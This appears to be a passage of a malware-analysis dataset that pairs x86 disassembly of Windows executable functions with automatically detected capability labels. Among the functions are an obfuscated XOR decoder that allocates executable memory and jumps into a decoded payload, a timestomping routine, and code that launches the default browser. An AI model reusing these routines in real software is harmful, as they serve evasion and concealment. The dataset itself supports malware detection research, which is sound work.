joyce8/EMBER2024-capa huggingface dataset:
Function at 0x434920
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46b4f8
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x434959
inc eax
mov dword [esi + 0x10], eax
jmp 0x434a6c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x43496d
mov eax, 0xffffffc7
jmp 0x434a6e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x43497e
cmp dword [esi + 8], eax
jne 0x43496d
cmp dword [esi + 8], eax
jne 0x434997
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x434997
mov eax, 0xffffffc7
jmp 0x434a6e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x4349ab
push eax
mov ecx, ebx
call fcn.00434150
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00402ab0
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x4349dc
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00402ad0
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.004338c0
test eax, eax
mov dword [esp + 0x38], eax
je 0x434a0f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x483740
call fcn.00402cb0
mov eax, dword [esp + 0x38]
jmp 0x434a6e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00434780
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x434a53
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.004347a0
mov esi, eax
test esi, esi
jne 0x434a83
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.00434780
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x434a25
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x483740
call fcn.00402cb0
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x483740
call fcn.00402cb0
mov eax, esi
jmp 0x434a6e

Function at 0x437ba0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x437c00
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x437c00
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x437c00
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x437c00
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x437c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x43db80
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46bb28
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.00464683
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0043d520
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.004645b1
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.00460e75
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.00460e75
push 1
push 0
push 0
mov ecx, esi
call fcn.00460e1d
push 1
push 0
push 1
mov ecx, esi
call fcn.00460e1d
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004646f5
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x43dd00
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46bb48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.00464683
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0043d520
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.004645b1
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x43ddc4
cmp dword [esp + 0x40], 1
jne 0x43ddc2
cmp ecx, eax
jge 0x43ddc4
mov eax, ecx
cmp eax, 0xc8
jge 0x43ddd0
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.0043db80
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004646f5
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x43e540
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46bbb3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.0045f292
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0046492b
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.00465e47
test eax, eax
je 0x43e65c
mov ecx, dword [esp + 0x3c]
call fcn.00464958
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x43e620
push edi
mov ecx, esi
call fcn.00461fbc
mov ecx, esi
call fcn.0043e7c0
cmp dword [esp + 0x38], 1
jne 0x43e655
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.004620f7
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x441080
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x4410b3
push esi
call fcn.00444170
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x4410ac
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x441139
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x441122
mov eax, dword [esi + 8]
test eax, eax
je 0x4410d7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44111e
cmp eax, 2
je 0x441122
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4410ca
cmp eax, 3
je 0x4410fd
cmp eax, 1
jne 0x4410ca
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4410ca
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4410ca
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00441160
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x441148
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00441160
add esp, 4
pop esi
ret

Function at 0x460088
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4600c0
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0045e13f
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0045e117
jmp 0x4600cc
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x461779
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4617bb
call fcn.00467232
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4617bb
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4617b2
xor eax, eax
jmp 0x4617c3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004617c9
pop edi
pop esi
pop ebx
ret 4

Function at 0x467762
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x467790
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4677ae
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004676c8
jmp 0x4677ae
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4677ae
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004676c8
test edi, edi
mov eax, edi
jne 0x467798
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [0x4312a0], 0x24e1
mov eax, dword [0x4312a0]
sub eax, 0x24e1
mov dword [0x4312a0], eax
mov ecx, 1
test ecx, ecx
je 0x4010ab
mov edx, dword [0x4312a0]
cmp edx, dword [ebp + 0xc]
jb 0x401037
jmp 0x4010ab
cmp dword [0x4312a0], 0
jne 0x401055
push 0x263
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x401055
xor eax, eax
jmp 0x4010ab
mov eax, dword [ebp + 8]
add eax, dword [0x4312a0]
mov ecx, dword [eax]
add ecx, dword [0x4312a0]
mov edx, dword [ebp + 8]
add edx, dword [0x4312a0]
mov dword [edx], ecx
mov dword [ebp - 4], 0x263fa
mov eax, dword [0x4312a0]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 2]
push edx
mov eax, dword [ebp + 8]
add eax, dword [0x4312a0]
push eax
call fcn.00401270
add esp, 8
mov ecx, dword [0x4312a0]
add ecx, 4
mov dword [0x4312a0], ecx
jmp 0x40101d
mov esp, ebp
pop ebp
ret

Function at 0x401970
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov dword [ebp - 0x114], 0x4090a8
mov eax, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x11c], eax
push 0x104
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, dword [ebp - 0x114]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 0x11c]
push 0
push 0x80
push 3
push 0
push 3
push 1
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x4019ea
cmp dword [ebp - 0x118], 0
je 0x4019ea
jmp 0x401a4c
mov edx, dword [ebp + 8]
cmp dword [edx + 4], 0
je 0x401a4c
mov dword [ebp - 0x120], 0x7dc35
mov eax, dword [ebp + 8]
add eax, 8
mov dword [0x431294], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
mov dword [0x4312b0], edx
mov dword [ebp - 0x120], 0x7dc35
mov dword [ebp - 0x120], 0x7dc35
call fcn.00401260
mov eax, dword [ebp + 8]
mov dword [0x4312ac], eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
call fcn.00401b30
add esp, 0xc
mov dword [ebp + 8], eax
jmp 0x4019ea
mov esp, ebp
pop ebp
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x403e59
pop dword [ebp - 0x28]
mov eax, 0xf27731ec
add eax, 0xdc90c6d
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xd383ce36
add dword [ebp - 0x38], 0x7ace7715
mov dword [ebp - 0x34], 0x5670ca81
add dword [ebp - 0x34], 0xdbc281c4
mov dword [ebp - 0x30], 0xcaaa590
add dword [ebp - 0x30], 0x3fa19e9e
mov dword [ebp - 0x2c], 0x96f02a94
sub dword [ebp - 0x2c], 0x96f02a94
lea eax, [ebp - 0x38]
push eax
mov eax, 0x486ccd42
add eax, 0xb7d3b34a
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xd94a3654
add dword [ebp - 0x38], 0x9b283302
mov dword [ebp - 0x34], 0x30ba2add
add dword [ebp - 0x34], 0x10b23698
mov dword [ebp - 0x30], 0x5cdfca14
add dword [ebp - 0x30], 0x68fa258
mov dword [ebp - 0x2c], 0x6617587c
add dword [ebp - 0x2c], 0x99e8a784
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xfcc39497
add eax, 0x37cec3d
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x39f09
push 0
call eax
mov ecx, 0x2e882afe
sub ecx, 0x2e87d639
xor esi, esi
add esi, eax
mov edi, 0x411000
add edi, dword [ebp - 0x28]
mov ebx, 0x6cd8a00d
add dword [ebp - 0xc], 0x1335314e
mov edx, dword [edi]
sub dword [ebp - 8], ecx
xor edx, ebx
sub dword [ebp - 4], esi
mov dword [esi], edx
xor dword [ebp - 0xc], ebx
add esi, 0xeaa1f59c
add esi, 0x155e0a68
add edi, 0x1a01c21f
add edi, 0xe5fe3de5
loop 0x403f71
add eax, 0x145e7
xor ebx, ebx
add ebx, eax
add eax, 0xa94befff
sub eax, 0xa94beffa
mov ecx, 0xee9bbee4
add ecx, 0x11a4411c
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x401130
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x40113b
xor eax, eax
ret
mov eax, dword [esp + 4]
push edi
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
push ebx
not eax
jb 0x40123d
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x40d138]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x40d138]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x40d138]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x40d138]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x40d138]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x40d138]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x40d138]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x40d138]
xor eax, edx
inc ecx
dec edi
jne 0x401156
test esi, esi
je 0x40125f
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x40d138]
xor eax, edx
inc ecx
dec esi
jne 0x401241
pop ebx
pop esi
not eax
pop edi
ret
Function at 0x404e00
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
test ebp, ebp
push edi
je 0x404fc7
push 0x5c
push ebp
call fcn.004062c0
mov edi, eax
add esp, 8
mov esi, str.HKEY_LOCAL_MACHINE
mov ecx, ebp
mov byte [edi], 0
mov al, byte [ecx]
mov bl, byte [esi]
mov dl, al
cmp al, bl
jne 0x404e50
test dl, dl
je 0x404e4c
mov al, byte [ecx + 1]
mov bl, byte [esi + 1]
mov dl, al
cmp al, bl
jne 0x404e50
add ecx, 2
add esi, 2
test dl, dl
jne 0x404e28
xor ecx, ecx
jmp 0x404e55
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x404e63
mov ebx, 0x80000002
jmp 0x404f25
mov esi, str.HKEY_USERS
mov ecx, ebp
mov al, byte [ecx]
mov bl, byte [esi]
mov dl, al
cmp al, bl
jne 0x404e92
test dl, dl
je 0x404e8e
mov al, byte [ecx + 1]
mov bl, byte [esi + 1]
mov dl, al
cmp al, bl
jne 0x404e92
add ecx, 2
add esi, 2
test dl, dl
jne 0x404e6a
xor ecx, ecx
jmp 0x404e97
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x404ea5
mov ebx, 0x80000003
jmp 0x404f25
mov esi, str.HKEY_CURRENT_USER
mov ecx, ebp
mov al, byte [ecx]
mov bl, byte [esi]
mov dl, al
cmp al, bl
jne 0x404ed4
test dl, dl
je 0x404ed0
mov al, byte [ecx + 1]
mov bl, byte [esi + 1]
mov dl, al
cmp al, bl
jne 0x404ed4
add ecx, 2
add esi, 2
test dl, dl
jne 0x404eac
xor ecx, ecx
jmp 0x404ed9
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x404ee4
mov ebx, 0x80000001
jmp 0x404f25
mov esi, str.HKEY_CLASSES_ROOT
mov ecx, ebp
mov al, byte [ecx]
mov bl, byte [esi]
mov dl, al
cmp al, bl
jne 0x404f13
test dl, dl
je 0x404f0f
mov al, byte [ecx + 1]
mov bl, byte [esi + 1]
mov dl, al
cmp al, bl
jne 0x404f13
add ecx, 2
add esi, 2
test dl, dl
jne 0x404eeb
xor ecx, ecx
jmp 0x404f18
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x404fc7
mov ebx, 0x80000000
mov byte [edi], 0x5c
inc edi
push 0x5c
push edi
call fcn.00406280
mov esi, eax
add esp, 8
test esi, esi
je 0x404fc7
lea ecx, [esp + 0x18]
mov byte [esi], 0
push ecx
push 1
push 0
push edi
push ebx
inc esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404fc7
push 0x100
mov dword [esp + 0x14], 0x100
call fcn.00405ac0
mov edi, dword [esp + 0x20]
add esp, 4
lea edx, [esp + 0x10]
push edx
push eax
mov dword [edi], eax
mov eax, dword [esp + 0x20]
push 0
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
mov dword [esp + 0x10], eax
je 0x404fb4
mov ecx, dword [edi]
push ecx
call fcn.00405e20
mov edx, dword [esp + 0x1c]
add esp, 4
mov dword [edi], 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
Function at 0x405010
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x404
push ebx
push esi
lea eax, [esp + 8]
push edi
xor ebx, ebx
push eax
push str.HKEY_CLASSES_ROOThttp_shellopencommand_
mov dword [esp + 0x14], ebx
call fcn.00404e00
add esp, 8
test al, al
jne 0x405089
lea ecx, [esp + 0xc]
push ecx
push str.HKEY_CLASSES_ROOTHTTP_shellopencommand_
call fcn.00404e00
add esp, 8
test al, al
jne 0x405089
lea edx, [esp + 0xc]
push edx
push str.HKEY_LOCAL_MACHINESOFTWAREClasseshttp_shellopencommand_
call fcn.00404e00
add esp, 8
test al, al
jne 0x405089
lea eax, [esp + 0xc]
push eax
push str.HKEY_LOCAL_MACHINESOFTWAREClassesHTTP_shellopencommand_
call fcn.00404e00
add esp, 8
test al, al
jne 0x405089
lea ecx, [esp + 0xc]
push ecx
push str.HKEY_CLASSES_ROOThttps_shellopencommand_
call fcn.00404e00
add esp, 8
mov edx, dword [esp + 0xc]
cmp edx, ebx
je 0x40512a
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push edx
call fcn.00404fd0
mov esi, dword [esp + 0x18]
add esp, 0xc
cmp byte [esi], 0x22
jne 0x4050cf
inc esi
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, esi
je 0x4050cf
cmp byte [ecx - 1], 0x22
jne 0x4050cf
mov byte [ecx - 1], bl
push str..exe
push esi
call fcn.00406380
add esp, 8
cmp eax, ebx
je 0x4050e4
mov byte [eax + 4], bl
mov edx, dword [esp + 0x414]
lea eax, [esp + 0x10]
push edx
push str.__s_
push eax
call fcn.00406210
add esp, 0xc
lea ecx, [esp + 0x10]
push 1
push ebx
push ecx
push esi
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x40511d
mov ebx, 1
mov edx, dword [esp + 0xc]
push edx
call fcn.00405e20
add esp, 4
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x404
ret

Function at 0x405140
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
setne al
ret
Function at 0x405730
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
test ebp, ebp
push edi
jne 0x405743
xor al, al
pop edi
pop esi
pop ebp
pop ebx
ret
push 0x5c
push ebp
call fcn.004062c0
add esp, 8
test eax, eax
jne 0x405776
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebp
call esi
cmp eax, 0xffffffff
je 0x40580e
push ebp
call esi
test al, 0x10
jne 0x405815
xor al, al
pop edi
pop esi
pop ebp
pop ebx
ret
cmp byte [ebp], 0x5c
jne 0x405789
cmp byte [ebp + 1], 0x5c
jne 0x405789
push 0x5c
lea eax, [ebp + 2]
jmp 0x40578c
push 0x5c
inc eax
push eax
call fcn.004062c0
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
add esp, 8
test esi, esi
je 0x4057d7
push ebp
mov byte [esi], 0
call ebx
cmp eax, 0xffffffff
je 0x4057b3
push ebp
call ebx
test al, 0x10
jne 0x4057c0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40580e
lea ecx, [esi + 1]
push 0x5c
push ecx
call fcn.004062c0
add esp, 8
mov byte [esi], 0x5c
test eax, eax
mov esi, eax
jne 0x4057a1
mov al, byte [esp + 0x18]
test al, al
je 0x405815
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + ebp - 1], 0x5c
je 0x405815
push ebp
call ebx
cmp eax, 0xffffffff
je 0x405801
push ebp
call ebx
test al, 0x10
jne 0x405815
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x405815
xor al, al
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret

Function at 0x405820
Capabilities:
Timestomp file

Disassembly:
sub esp, 0x28
mov eax, dword [esp + 0x2c]
push esi
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x1c]
mov esi, eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [esp + 0x34]
lea ecx, [esp + 0xc]
push ecx
push eax
shr eax, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
lea edx, [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea ecx, [esp + 4]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 8]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
add esp, 0x28
ret